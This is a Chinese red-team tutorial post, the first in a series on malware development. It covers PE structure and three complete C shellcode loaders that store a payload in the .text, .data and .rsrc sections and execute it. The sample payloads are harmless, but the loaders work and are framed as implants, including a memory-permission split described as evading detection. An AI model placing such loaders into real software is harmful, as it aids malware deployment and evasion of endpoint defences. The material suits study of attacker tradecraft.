红队技术:恶意程序开发初级篇1-payload载入点

恶意程序开发技术在红队技术中既是重点也是难点,学会恶意程序开发首先有利于对操作系统底层机制的进一步了解,其次也有助于对免杀程序的研究,以及对恶意脚本的逆向分析等。本系列将由简至繁介绍恶意程序开发中的相关技术,力求细致且便于复现学习。本篇介绍一些前置知识和payload载入点,分别为text段、data段和rsrc段三处。作者才疏学浅有错误望指出~

0x01 初识PE

PE(Protable Executable)是Win32平台的标准可执行文件格式

.exe (executable)文件是一个独立程序,无需依附其他程序,可以直接加载至内存中

.dll (Dynamic-link library)动态链接库,不能独立存在于内存中,只用程序调用dll中的函数时,dll才会以模块的形式加载至指定进程中

生成一个PE文件通常需要两部分:

  • 源代码
  • 编译器
    是个程序,因为底层只识别机器语言,用于将高级语言转机器语言

创建exe文件

首先介绍个简单的例子:编写生成exe文件,c源代码如下

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(void) {
    // 打印字符
    printf("First PE file\n");  
    // 等待输入
    getchar();    
    return 0;
}

使用cl.exe编译器进行编译,编译命令如下

cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tc implant.cpp /link /OUT:implant.exe /SUBSYSTEM:CONSOLE /MACHINE:x64

参数浅析:

@ECHO OFF   不输出消息
/nologo     取消显示登录版权标志
/Ox     使用最大优化
/MT     使用 LIBCMT.lib 创建多线程可执行文件
/W0     设置警告等级为0(默认为1)
/GS-        关闭缓冲区安全检查
/DNDEBUG    不生成调试信息
/Tc     指定源文件
/link       传递链接器选项
/OUT        指定输出文件名
/SUBSYSTEM  指定子系统
/MACHINE    指定架构

编译完成后执行文件,好吧第一个例子就是这么简单~

LZIoGQ.png

查看exe文件信息

使用Process Hacker工具研究implant.exe进程基本属性,双击该进程查看详细信息。

General选项卡显示该进程的基本信息,如文件地址、文件类型等

LZI7xs.png

Modules选项卡显示该进程加载至内存中所包含的所有dll文件

Memory选项卡显示了该进程的内存布局

LZIT2j.png

更详细的信息将在之后的项目中逐渐分析

创建DLL文件

动态链接库(Dynamic-Link Library, DLL)也是PE格式的二进制文件,存放的是各类程序的函数。下面例子是简单生成dll文件的cpp源代码:

很明显不同的是,DLL文件入口函数为DllMain。当静态链接时,或动态链接时调用LoadLibrary和FreeLibrary都会调用DllMain函数。其次在DLL中,需要指定导出的符号(函数),可以由__declspec(dllexport)关键字指定。在C++中,如果导出函数符合C语言的符号修饰规范,则需要在其定义前加上extern C,防止C++编译器进行符号修饰。

#include <Windows.h>
#pragma comment (lib, "user32.lib")

// DllMain是DLL的标准入口点
// 参数fdwReason指明了系统调用Dll的原因
BOOL APIENTRY DllMain(HMODULE hModule,  DWORD  fdwReason, LPVOID lpReserved) {

    // 不同调用情况执行不同行为
    switch (fdwReason)  {
    case DLL_PROCESS_ATTACH:    // DLL初次映射至内存空间中
    case DLL_PROCESS_DETACH:    // DLL解除映射情况
    case DLL_THREAD_ATTACH: 
    case DLL_THREAD_DETACH: 
        break;
    }
    return TRUE;
}

// 外部函数,可以由进程调用
extern "C" {
    // 定义test函数
__declspec(dllexport) BOOL WINAPI test(void) {
    // 弹出提示窗口
    MessageBox(
        NULL,
        "spider",
        "man",
        MB_OK
    );   
         return TRUE;
    }
}

除了使用__declspec关键字指定导入导出符号之外,还可以使用.def文件声明导入导出符号。.def文件是链接脚本文件,用于控制链接过程。.def文件的使用将在后面的篇章中提及

DllMain 入口点 | Microsoft Docs

通过cl.exe编译出dll文件,编译命令略有不同:

cl.exe /D_USRDLL /D_WINDLL implantDLL.cpp /MT /link /DLL /OUT:first.dll

LZIjaT.png

查看DLL信息

使用dumpbin命令行工具查看DLL文件基本信息

dumpbin /exports first.dll

/exports:导出dll文件所有信息

LZIXZV.png

由于DLL文件不能独立执行,若要执行一个DLL就需要将其植入到一个进程中。

这里我们可以借助Windows中rundll32程序,调用DLL中的函数。例如要调用刚刚生成的first.dll文件中的test函数,使用如下命令:

rundll32 first.dll,test

LZILq0.png

通过ProcessHacker工具,可以在rundll32.exe程序的Memory和Modules中找到first.dll文件

LZIziF.png

双击可以查看first.dll文件详细信息

LZIvIU.png

PE-bear

工具地址

除了上述工具外,还可以结合PE-bear工具分析exe文件,进一步熟悉PE结构

选择打开calc.exe文件,位置:C:\Windows\System32\calc.exe

LZoEdK.png

左边一栏显示文件的结构信息,可以很明显的看到头部信息(Headers)和段信息(Sections)

LZoeiD.png

右边则是Header和Sections更详细的信息,例如查看段的头部信息(选择Section Header)

LZoAZ6.png

再如Resources,里面包含整个文件的资源信息(图标、版本、清单文件)

LZoVIO.png

.reloc段,包含重定位信息,用于Windows加载器对可执行文件进行地址修正

关于段,主要关注这三个重要的段.text.data.rsrc

此外,还可以使用dumpbin工具查看PE文件元数据信息

dumpbin /headers C:\Windows\system32\calc.exe

/headers:显示文件和每个段的头部信息

LZomJe.png

0x02 Payload存储位置

这里解释下shellcode和payload的区别,shellcode指的是获取得到shell一段代码,而payload指代就比较广泛,不仅仅包含shellcode,还包含触发其他行为的操作(如打开calc计算机程序),在本系列文章中,可能没有那么精确,就默认shellcode约等于payload,暂时不纠结那么多。

payload载入内存中一般存储于三处位置,.text段、.data段、.rsrc

Dropper指的是发送载荷给目标机器并执行的装置

.text段存储payload

在内存中运行payload需要几件事情:开辟内存缓冲区,复制payload到缓冲区,执行缓冲区

1 开辟内存缓冲区

Win32API中提供了VirtualAlloc()函数VirtualAlloc | Microsoft Docs,用于动态分配内存,声明如下:

LPVOID VirtualAlloc(
    LPVOID lpAddress,           // 区域起始地址
    SIZE_T dwSize,              // 分配区域容量
    DWORD  flAllocationType,    // 分配区域类型
    DWORD  flProtect            // 分配区域权限
);
  • lpAddress指定分配区域的起始地址,设置为NULL表示由系统决定
  • dwSize指定分配区域的容量大小
  • flAllocationType指定分配内存的类型,主要是这两个MEM_COMMIT | MEM_RESERVE
    这里要知道保留和占有内存的含义。当内存放保留(RESERVE)时,一段连续虚拟地址空间被留出,只是分配了。当内存立马被使用时,需要指定为占用(COMMIT)状态。
  • flProtect指定内存保护措施(权限),

本例调用如下:

exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

2 拷贝payload至新缓冲区

Win32API中提供了RtlMoveMemory()函数,RtlMoveMemory | Microsoft Docs 用于将源内存块的内容复制到目标内存块,声明如下:

VOID RtlMoveMemory(
    VOID UNALIGNED *Destination,
    VOID UNALIGNED *Source,
    SIZE_T         Length
);
  • *Destination:指向源内存地址的指针
  • *Source:指向目标内存地址的指针
  • Length:拷贝内容大小

本例调用如下:

RtlMoveMemory(exec_mem, payload, payload_len);

3 修改内存权限

之所以不在初始开辟缓冲区时指定执行权限,主要为了绕过检测,同时具有可读可写可执行权限的缓冲区是十分可疑的,很容易被安全设备检测到。因此可以将其分为两步,先分配,在执行前修改执行权限。

Win32API中提供了VirtualProtect()函数VirtualProtect | Microsoft Docs,用于修改已提交(COMMIT)页区域上的保护措施(权限),声明如下:

BOOL VirtualProtect(
    LPVOID lpAddress,
    SIZE_T dwSize,
    DWORD  flNewProtect,
    PDWORD lpflOldProtect
);
  • lpAddress指定起始地址
  • dwSize指定修改内存区域的大小
  • flNewProtect指定新的内存保护措施(权限),有这几种
  • lpflOldProtect指定一块地址,保存之前的保护措施

本例调用如下:

rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);

4 创建线程执行payload

做好之前的准备工作后就可以开始创建线程执行payload了。

Win32API中提供了CreateThread()函数CreateThread | Microsoft Docs ,创建一个线程,并在调用进程的虚拟地址空间内执行,返回一个句柄。声明如下:

HANDLE CreateThread(
    LPSECURITY_ATTRIBUTES   lpThreadAttributes,
    SIZE_T                  dwStackSize,
    LPTHREAD_START_ROUTINE  lpStartAddress,
    __drv_aliasesMem LPVOID lpParameter,
    DWORD                   dwCreationFlags,
    LPDWORD                 lpThreadId
);
  • lpThreadAttributes设置继承属性,设置为NULL表示返回的句柄不能被继承
  • dwStackSize指定栈的初始大小,设置为0表示使用默认大小1MB
  • lpStartAddress指向将待执行内存的指针
  • lpParameter指向要传递给线程的变量的指针,设置为0表示没变量需要传递
  • dwCreationFlags控制线程创建,设置为0表示马上创建
  • lpThreadId指向接收线程标识符的变量的指针,设置为0表示不返回线程标识符

创建了线程后需要执行,Win32API提供了WaitForSingleObject()函数WaitForSingleObject function (synchapi.h) - Win32 apps | Microsoft Docs 用于执行线程,声明如下:

DWORD WaitForSingleObject(
    HANDLE hHandle,
    DWORD  dwMilliseconds
);
  • hHandle指定待执行的句柄
  • dwMilliseconds指的是时间间隔,过后将执行指定线程

本例调用如下:

th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
WaitForSingleObject(th, -1);

完整代码

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(void) {

    void * exec_mem;
    BOOL rv;
    HANDLE th;
    DWORD oldprotect = 0;

    // shellcode代码
    unsigned char payload[] = {
        0x90,       // NOP
        0x90,       // NOP
        0xcc,       // INT3
        0xc3        // RET
    };
    unsigned int payload_len = 4;

    // 开辟内存缓冲区,分配可读可写权限
    exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    // 打印内存信息,用于调试分析
    printf("%-20s : 0x%-016p\n", "payload addr", (void *)payload);
    printf("%-20s : 0x%-016p\n", "exec_mem addr", (void *)exec_mem);

    // 拷贝payload到新缓冲区
    RtlMoveMemory(exec_mem, payload, payload_len);

    // 赋予新缓冲区可执行权限
    rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);

    printf("\nHit me!\n");
    getchar();

    // 上述步骤都OK,执行payload
    if ( rv != 0 ) {
            th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
            WaitForSingleObject(th, -1);
    }

    return 0;
}

动态分析

这里使用简单的shellcode便于分析进程本身

使用cl.exe编译cpp源码

cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /link /OUT:implant.exe /SUBSYSTEM:CONSOLE /MACHINE:x64

执行implant.exe,打印出内存地址信息

LZoGo8.png

启动dbg进行调试,添加调试进程,选择File-Attach,找到并选择implant进程。

LZoYFS.png

将implant程序运行起来,按F9或者右箭头

LZotJg.png

回到cmd窗口按回车运行下,dbg中程序已暂停,在程序代码窗口显示出了我们编写的shellcode

LZolLt.png

接着程序已经执行完了,我们现在的目标是找到shellcode的地址。选择Memory Map窗口,右键查找字符串。

LZoQsI.png

Address            Data
000000B3BF4FF980   90 90 CC C3
000001BA8D520000   90 90 CC C3
00007FF644C3101E   90 90 CC C3

同之前打印出的调试信息一齐分析

payload addr         : 0x000000B3BF4FF980
exec_mem addr        : 0x000001BA8D520000

首先是第一处地址0x000000B3BF4FF980,在Memory Map中找到对应地址,查看相应的信息,是一块线程栈区,在Threads窗口中也可以看到有一处线程被挂起了。

LZo3eP.png

结合源代码,main函数会开辟栈区用于保存其局部变量,因此第一处地址指向main函数开辟的栈区空间

第二处地址0x000001BA8D520000,其类型为私有内存空间,且初始权限为可读可写(RW),后面变为可读可执行(ER),恰好对应了源代码中的开辟缓冲区及修改执行权限。因此第二处地址指向新开辟的缓冲区空间

LZo8df.png

第三处地址0x00007FF644C3101E,在Memory Map中很明显的可以看到其对应的是.text段,即第三处地址指向shellcode注入至text段的地址空间

LZoMQA.png

跟踪分析三个地址,找到对应信息。

.data段存储payload

源码大部分与.text段存储payload的类似,有一些不同:payload定义为全局变量,因此它将位于main函数之外

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// 变化:payload定义为全局变量
unsigned char payload[] = {
    0x90,       // NOP
    0x90,       // NOP
    0xcc,       // INT3
    0xc3        // RET
};
unsigned int payload_len = 4;

int main(void) {

    void * exec_mem;
    BOOL rv;
    HANDLE th;
    DWORD oldprotect = 0;

    exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    printf("%-20s : 0x%-016p\n", "payload addr", (void *)payload);
    printf("%-20s : 0x%-016p\n", "exec_mem addr", (void *)exec_mem);

    RtlMoveMemory(exec_mem, payload, payload_len);

    rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);

    printf("\nHit me!\n");
    getchar();

    if ( rv != 0 ) {
            th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
            WaitForSingleObject(th, -1);
    }

    return 0;
}

cl.exe工具编译后执行,在dbg将implant.exe打开,执行起来(和上一部分步骤相同)

搜索shellcode字符,存在两处地址,一处指向上面分析的新开辟的缓冲区,另一处指向data段。

LZoRSJ.png

.rsrc段存储payload

对于存储在.rsrc段的payload,程序运行时需要指定特定的API调用去获取资源信息以及提取出payload并执行,需要以下几个步骤:引入资源文件,提取payload,执行payload。

1 引入资源文件

Win32API中提供了FindResource()函数FindResourceA | Microsoft Docs,用于找到指定资源所在位置,返回资源句柄。声明如下:

HRSRC FindResourceA(
    HMODULE hModule,
    LPCSTR  lpName,
    LPCSTR  lpType
);
  • hModule指向模块的句柄,设置为NULL表示该函数将搜索用于创建当前进程的模块。
  • lpName资源名称
  • lpType资源类型,有这几种 ,其中RT_RCDATA表示应用程序定义的资源(原始数据)

本例调用如下:

res = FindResource(NULL, MAKEINTRESOURCE(FAVICON_ICO), RT_RCDATA);
  • MAKEINTRESOURCE将一个整数值转换为一种资源类型

2 提取出payload

LoadResource函数LoadResource | Microsoft Docs,返回句柄,用于获取内存中指定资源的第一个字节的指针。

HGLOBAL LoadResource(
    HMODULE hModule,
    HRSRC   hResInfo
);
  • hModule指向模块的句柄,设置为NULL表示该函数将搜索用于创建当前进程的模块。
  • hResInfo指向已载入资源的句柄

本例调用如下:

resHandle = LoadResource(NULL, res);    // 返回内存中指定资源的句柄

LockResource函数LockResource | Microsoft Docs,返回指针指向内存中的资源,声明如下:

LPVOID LockResource(
    HGLOBAL hResData
);

本例调用如下:

payload = (char *) LockResource(resHandle); // 返回指向payload的指针

SizeofResource函数SizeofResource | Microsoft Docs返回指定资源的大小,声明如下:

DWORD SizeofResource(
    HMODULE hModule,
    HRSRC   hResInfo
);
  • hModule指向模块的句柄,设置为NULL表示该函数将搜索用于创建当前进程的模块。
  • hResInfo指向已载入资源的句柄

本例调用如下:

payload_len = SizeofResource(NULL, res);    // 返回payloal长度

3 执行payload

这一部分的代码同.text段中存储payload一致,前面有详细的分析

完整代码

这部分代码具有几点不同之处,payload没有直接给出,只作出了声明

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "resources.h"

int main(void) {

    void * exec_mem;
    BOOL rv;
    HANDLE th;
    DWORD oldprotect = 0;
    HGLOBAL resHandle = NULL;
    HRSRC res;

    unsigned char * payload;
    unsigned int payload_len;

    // 变化:从资源段中提取payload
    res = FindResource(NULL, MAKEINTRESOURCE(FAVICON_ICO), RT_RCDATA);
    resHandle = LoadResource(NULL, res);
    payload = (char *) LockResource(resHandle);
    payload_len = SizeofResource(NULL, res);

    exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    printf("%-20s : 0x%-016p\n", "payload addr", (void *)payload);
    printf("%-20s : 0x%-016p\n", "exec_mem addr", (void *)exec_mem);

    RtlMoveMemory(exec_mem, payload, payload_len);

    rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);

    printf("\nHit me!\n");
    getchar();

    if ( rv != 0 ) {
            th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
            WaitForSingleObject(th, -1);
    }

    return 0;
}

编译过程

编译过程也与之前有所不同,需要用到三个工具:rc资源编译器、cvtres资源转换器、cl.exe编译器。

  • rc resources.rc指令用于从resources.rc文件中取出资源。

该文件内容同如下,指定预处理文件resources.h和定义变量FAVICON_ICO,类型为RCDATA,值为calc.ico

// resources.rc
#include "resources.h"

FAVICON_ICO RCDATA calc.ico

resources.h文件内容如下,定义了变量FAVICON_ICO,值为100

#define FAVICON_ICO 100

calc.ico则是我们生成一个payload文件,可以通过msfvenom工具生成。

  • cvtres /MACHINE:x64 /OUT:resources.o resources.res指令将res文件转换为objiect文件(用于后续的链接工作)
  • cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tc implant.cpp /link /OUT:implant.exe /SUBSYSTEM:CONSOLE /MACHINE:x64 resources.o将resources.o文件和源文件链接生成.exe文件

编译命令集合为bat批处理文件:

@ECHO OFF

rc resources.rc
cvtres /MACHINE:x64 /OUT:resources.o resources.res
cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tc implant.cpp /link /OUT:implant.exe /SUBSYSTEM:CONSOLE /MACHINE:x64 resources.o

动态分析

编译并执行,打开dbg调试该程序,分别查看以下两个地址,对应新开辟的缓冲区和.rsrc段

payload addr         : 0x00007FF606652060
exec_mem addr        : 0x00000226BAA80000

LZo6FU.png

在Hex窗口查看shellcode内容,右键Go to-ExpressionCtrl+G,输入地址

LZocYF.png

用同样的方法在反汇编窗口查看shellcode,添加断点,run起来

LZogW4.png

接着在命令窗口中回车下,启动了cala.exe程序

LZosoT.png

  • 发表于 2022-04-19 09:37:15
  • 阅读 ( 8799 )
  • 分类:渗透测试

0 条评论

请先 登录 后评论
xigua
xigua

26 篇文章

站长统计